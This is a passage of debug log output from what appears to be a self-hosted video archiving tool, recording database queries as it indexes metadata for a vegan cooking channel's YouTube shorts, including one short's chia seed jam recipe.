s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:25.709 [debug] QUERY OK source="media_items" db=2.7ms idle=1004.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-09 15:00:23Z], 1] 20:28:25.711 [debug] QUERY OK source="media_items" db=1.4ms queue=0.1ms idle=1007.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["A very interesting philosophy of life by Ashton Kutcher as Kelso in That 70s Show. I think food definitely is special in how it brings families and friends together around the dinner table. \n\nIf you want to add more vegan or gluten free recipes to your repertoire then you'll want to subscribe to my channel so you don't miss out on any of my very 'special' videos! Thanks for your support! Janelle", "Everything is special - Kelso’s philosophy of life 🤔#shorts #youtubeshorts", "99a425fb-5a41-4c4c-bc47-22356e1c0907", 1, [], 11, false, "gn5-zPWkahI", "https://www.youtube.com/shorts/gn5-zPWkahI", 320, "/downloads/downloads/alec/Steamy Vegan/2022-07-09 Everything is special - Kelso’s philosophy of life 🤔#shorts #youtubeshorts/Everything is special - Kelso’s philosophy of life 🤔#shorts #youtubeshorts [gn5-zPWkahI].NA", false, false, true, 0, ~U[2022-07-09 15:00:23Z], ~U[2026-03-22 03:28:25Z], ~U[2026-03-22 03:28:25Z], "A very interesting philosophy of life by Ashton Kutcher as Kelso in That 70s Show. I think food definitely is special in how it brings families and friends together around the dinner table. \n\nIf you want to add more vegan or gluten free recipes to your repertoire then you'll want to subscribe to my channel so you don't miss out on any of my very 'special' videos! Thanks for your support! Janelle", "Everything is special - Kelso’s philosophy of life 🤔#shorts #youtubeshorts", 1, 11, false, "gn5-zPWkahI", "https://www.youtube.com/shorts/gn5-zPWkahI", "/downloads/downloads/alec/Steamy Vegan/2022-07-09 Everything is special - Kelso’s philosophy of life 🤔#shorts #youtubeshorts/Everything is special - Kelso’s philosophy of life 🤔#shorts #youtubeshorts [gn5-zPWkahI].NA", true, ~U[2022-07-09 15:00:23Z]] 20:28:25.712 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=387.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:25.713 [debug] QUERY OK source="media_profiles" db=0.8ms idle=7.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:25.714 [debug] QUERY OK source="media_items" db=0.4ms idle=7.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [709] 20:28:25.714 [debug] Current batch of media processed. Will check again in 1000ms 20:28:26.715 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Chia Seed Plum-Berry Jam! 🍓🫐\n\nI got a boatload of super ripe plums in my latest mystery produce box from @pekoproduce this past weekend 😍 I was pretty confident I wouldn’t be able to eat them all within a few days so I made this BOMB 💣 chia seed jam! Making jam is a great way to preserve fruit that is overripe, especially plums and berries! 🍓🫐\n\nSAVE THIS RECIPE! \n\n5 to 6 ripe plums \n6 tbsp chia seeds \n1/2 cup berries \n1/4 cup maple syrup \nZest of 1 small lemon \n~1 cup water \nPinch of salt \n\nAdd chopped plums to a saucepan along with the berries, chia seeds, maple syrup, and water. \nLet cook down for 10-15 minutes until the fruit has softened. Add more water as needed to reach desired consistency. Stir in the lemon zest and salt and remove from heat. Transfer to jar and let cool before sealing with a lid. Keeps for 2 weeks in the fridge 😊\n\nIf you’re in the Metro Vancouver 🇨🇦 area and are looking to save money on groceries AND help keep imperfectly-perfect produce out of our landfills, check out @pekoproduce and order yourself a mystery box of produce! I have a $5 off coupon for you in my BIO! 🙌🏻\n\n#steamyvegankitchen #steamyvegan #asmr #foodasmr #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #pursuepretty #prettyfood #foodpreservation #chiaseeds", "duration" => 45, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-08 Chia seed plum-berry jam! 🫐🍓 #shorts #youtubeshorts #asmr/Chia seed plum-berry jam! 🫐🍓 #shorts #youtubeshorts #asmr [QF7gisOBO_M].NA", "id" => "QF7gisOBO_M", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/QF7gisOBO_M", "playlist_index" => 321, "timestamp" => 1657321401, "title" => "Chia seed plum-berry jam! 🫐🍓 #shorts #youtubeshorts #asmr", "upload_date" => "20220708"} 20:28:26.716 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1004.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:26.717 [debug] QUERY OK source="sources" db=0.3ms queue=0.3ms idle=1004.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:26.720 [debug] QUERY OK source="media_items" db=2.2ms idle=1004.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-08 23:03:21Z], 1] 20:28:26.722 [debug] QUERY OK source="media_items" db=1.3ms idle=1006.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Chia Seed Plum-Berry Jam! 🍓🫐\n\nI got a boatload of super ripe plums in my latest mystery produce box from @pekoproduce this past weekend 😍 I was pretty confident I wouldn’t be able to eat them all within a few days so I made this BOMB 💣 chia seed jam! Making jam is a great way to preserve fruit that is overripe, especially plums and berries! 🍓🫐\n\nSAVE THIS RECIPE! \n\n5 to 6 ripe plums \n6 tbsp chia seeds \n1/2 cup berries \n1/4 cup maple syrup \nZest of 1 small lemon \n~1 cup water \nPinch of salt \n\nAdd chopped plums to a saucepan along with the berries, chia seeds, maple syrup, and water. \nLet cook down for 10-15 minutes until the fruit has softened. Add more water as needed to reach desired consistency. Stir in the lemon zest and salt and remove from heat. Transfer to jar and let cool before sealing with a lid. Keeps for 2 weeks in the fridge 😊\n\nIf you’re in the Metro Vancouver 🇨🇦 area and are looking to save money on groceries AND help keep imperfectly-perfect produce out of our landfills, check out @pekoproduce and order yourself a mystery box of produce! I have a $5 off coupon for you in my BIO! 🙌🏻\n\n#steamyvegankitchen #steamyvegan #asmr #foodasmr #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #pursuepretty #prettyfood #foodpreservation #chiaseeds", "Chia seed plum-berry jam! 🫐🍓 #shorts #youtubeshorts #asmr", "0e7b9fba-53ef-4da3-a2a0-91ecfd53fc3c", 1, [], 45, false, "QF7gisOBO_M", "https://www.youtube.com/shorts/QF7gisOBO_M", 321, "/downloads/downloads/alec/Steamy Vegan/2022-07-08 Chia seed plum-berry jam! 🫐🍓 #shorts #youtubeshorts #asmr/Chia seed plum-berry jam! 🫐🍓 #shorts #youtubeshorts #asmr [QF7gisOBO_M].NA", false, false, true, 1, ~U[2022-07-08 23:03:21Z], ~U[2026-03-22 03:28:26Z], ~U[2026-03-22 03:28:26Z], "Chia Seed Plum-Berry Jam! 🍓🫐\n\nI got a boatload of super ripe plums in my latest mystery produce box from @pekoproduce this past weekend 😍 I was pretty confident I wouldn’t be able to eat them all within a few days so I made this BOMB 💣 chia seed jam! Making jam is a great way to preserve fruit that is overripe, especially plums and berries! 🍓🫐\n\nSAVE THIS RECIPE! \n\n5 to 6 ripe plums \n6 tbsp chia seeds \n1/2 cup berries \n1/4 cup maple syrup \nZest of 1 small lemon \n~1 cup water \nPinch of salt \n\nAdd chopped plums to a saucepan along with the berries, chia seeds, maple syrup, and water. \nLet cook down for 10-15 minutes until the fruit has softened. Add more water as needed to reach desired consistency. Stir in the lemon zest and salt and remove from heat. Transfer to jar and let cool before sealing with a lid. Keeps for 2 weeks in the fridge 😊\n\nIf you’re in the Metro Vancouver 🇨🇦 area and are looking to save money on groceries AND help keep imperfectly-perfect produce out of our landfills, check out @pekoproduce and order yourself a mystery box of produce! I have a $5 off coupon for you in my BIO! 🙌🏻\n\n#steamyvegankitchen #steamyvegan #asmr #foodasmr #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #pursuepretty #prettyfood #foodpreservation #chiaseeds", "Chia seed plum-berry jam! 🫐🍓 #shorts #youtubeshorts #asmr", 1, 45, false, "QF7gisOBO_M", "https://www.youtube.com/shorts/QF7gisOBO_M", "/downloads/downloads/alec/Steamy Vegan/2022-07-08 Chia seed plum-berry jam! 🫐🍓 #shorts #youtubeshorts #asmr/Chia seed plum-berry jam! 🫐🍓 #shorts #youtubeshorts #asmr [QF7gisOBO_M].NA", true, ~U[2022-07-08 23:03:21Z]] 20:28:26.722 [debug] QUERY OK source="sources" db=0.3ms idle=395.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:26.723 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:26.723 [debug] QUERY OK source="media_items" db=0.5ms idle=5.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [710] 20:28:26.724 [debug] Current batch of media processed. Will check again in 1000ms 20:28:27.725 [debug] Current batch of media processed. Will check again in 1000ms 20:28:28.727 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "I'm making all kinds of delicious vegan and gluten free recipes this week with strawberries, blueberries and raspberries. Right now on my channel you can find a vegan and gluten free strawberry rhubarb pie, dark chocolate raspberry scones, choco-berry smoothies, blueberry oatmeal bowl, strawberry breakfast bars, and so much more!", "duration" => 13, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-08 Berry Epicness 🫐🍓❤️#shorts #youtubeshorts/Berry Epicness 🫐🍓❤️#shorts #youtubeshorts [Cxf3M9bTpXw].NA", "id" => "Cxf3M9bTpXw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/Cxf3M9bTpXw", "playlist_index" => 322, "timestamp" => 1657314005, "title" => "Berry Epicness 🫐🍓❤️#shorts #youtubeshorts", "upload_date" => "20220708"} 20:28:28.728 [debug] QUERY OK source="sources" db=0.6ms idle=396.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:28.728 [debug] QUERY OK source="sources" db=0.3ms idle=145.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:28.731 [debug] QUERY OK source="media_items" db=2.2ms idle=145.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-08 21:00:05Z], 1] 20:28:28.732 [debug] QUERY OK source="media_items" db=1.0ms idle=148.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I'm making all kinds of delicious vegan and gluten free recipes this week with strawberries, blueberries and raspberries. Right now on my channel you can find a vegan and gluten free strawberry rhubarb pie, dark chocolate raspberry scones, choco-berry smoothies, blueberry oatmeal bowl, strawberry breakfast bars, and so much more!", "Berry Epicness 🫐🍓❤️#shorts #youtubeshorts", "f03e52b1-3a25-410a-938a-b8db78acd4b8", 1, [], 13, false, "Cxf3M9bTpXw", "https://www.youtube.com/shorts/Cxf3M9bTpXw", 322, "/downloads/downloads/alec/Steamy Vegan/2022-07-08 Berry Epicness 🫐🍓❤️#shorts #youtubeshorts/Berry Epicness 🫐🍓❤️#shorts #youtubeshorts [Cxf3M9bTpXw].NA", false, false, true, 2, ~U[2022-07-08 21:00:05Z], ~U[2026-03-22 03:28:28Z], ~U[2026-03-22 03:28:28Z], "I'm making all kinds of delicious vegan and gluten free recipes this week with strawberries, blueberries and raspberries. Right now on my channel you can find a vegan and gluten free strawberry rhubarb pie, dark chocolate raspberry scones, choco-berry smoothies, blueberry oatmeal bowl, strawberry breakfast bars, and so much more!", "Berry Epicness 🫐🍓❤️#shorts #youtubeshorts", 1, 13, false, "Cxf3M9bTpXw", "https://www.youtube.com/shorts/Cxf3M9bTpXw", "/downloads/downloads/alec/Steamy Vegan/2022-07-08 Berry Epicness 🫐🍓❤️#shorts #youtubeshorts/Berry Epicness 🫐🍓❤️#shorts #youtubeshorts [Cxf3M9bTpXw].NA", true, ~U[2022-07-08 21:00:05Z]] 20:28:28.733 [debug] QUERY OK source="sources" db=0.3ms idle=149.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:28.734 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.2ms idle=5.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:28.735 [debug] QUERY OK source="media_items" db=0.5ms idle=5.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [711] 20:28:28.735 [debug] Current batch of media processed. Will check again in 1000ms 20:28:29.736 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "It's berry season where I live and over the next few weeks I'll be cooking up all kinds of delicious vegan and gluten free berry recipes in my kitchen. Strawberry rhubarb pie, blueberry galettes, dark chocolate raspberry ice cream and so many more.\n\nSubscribe so you don't miss a single berry recipe! Thanks for your support! Janelle", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-08 It’s BERRY TIME! All the vegan and gluten free recipes you need this season 🫐 🍓 ❤️#shorts/It’s BERRY TIME! All the vegan and gluten free recipes you need this season 🫐 🍓 ❤️#shorts [CkXRQvvqFQg].NA", "id" => "CkXRQvvqFQg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/CkXRQvvqFQg", "playlist_index" => 323, "timestamp" => 1657305900, "title" => "It’s BERRY TIME! All the vegan and gluten free recipes you need this season 🫐 🍓 ❤️#shorts", "upload_date" => "20220708"} 20:28:29.737 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1004.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:29.738 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1004.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:29.741 [debug] QUERY OK source="media_items" db=2.4ms queue=0.4ms idle=1004.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-08 18:45:00Z], 1] 20:28:29.745 [debug] QUERY OK source="media_items" db=2.7ms idle=1007.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["It's berry season where I live and over the next few weeks I'll be cooking up all kinds of delicious vegan and gluten free berry recipes in my kitchen. Strawberry rhubarb pie, blueberry galettes, dark chocolate raspberry ice cream and so many more.\n\nSubscribe so you don't miss a single berry recipe! Thanks for your support! Janelle", "It’s BERRY TIME! All the vegan and gluten free recipes you need this season 🫐 🍓 ❤️#shorts", "eb301152-f235-4a77-86fb-e94541df196a", 1, [], 15, false, "CkXRQvvqFQg", "https://www.youtube.com/shorts/CkXRQvvqFQg", 323, "/downloads/downloads/alec/Steamy Vegan/2022-07-08 It’s BERRY TIME! All the vegan and gluten free recipes you need this season 🫐 🍓 ❤️#shorts/It’s BERRY TIME! All the vegan and gluten free recipes you need this season 🫐 🍓 ❤️#shorts [CkXRQvvqFQg].NA", false, false, true, 3, ~U[2022-07-08 18:45:00Z], ~U[2026-03-22 03:28:29Z], ~U[2026-03-22 03:28:29Z], "It's berry season where I live and over the next few weeks I'll be cooking up all kinds of delicious vegan and gluten free berry recipes in my kitchen. Strawberry rhubarb pie, blueberry galettes, dark chocolate raspberry ice cream and so many more.\n\nSubscribe so you don't miss a single berry recipe! Thanks for your support! Janelle", "It’s BERRY TIME! All the vegan and gluten free recipes you need this season 🫐 🍓 ❤️#shorts", 1, 15, false, "CkXRQvvqFQg", "https://www.youtube.com/shorts/CkXRQvvqFQg", "/downloads/downloads/alec/Steamy Vegan/2022-07-08 It’s BERRY TIME! All the vegan and gluten free recipes you need this season 🫐 🍓 ❤️#shorts/It’s BERRY TIME! All the vegan and gluten free recipes you need this season 🫐 🍓 ❤️#shorts [CkXRQvvqFQg].NA", true, ~U[2022-07-08 18:45:00Z]] 20:28:29.745 [debug] QUERY OK source="sources" db=0.3ms idle=412.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:29.746 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.2ms idle=8.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:29.747 [debug] QUERY OK source="media_items" db=0.4ms idle=7.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS 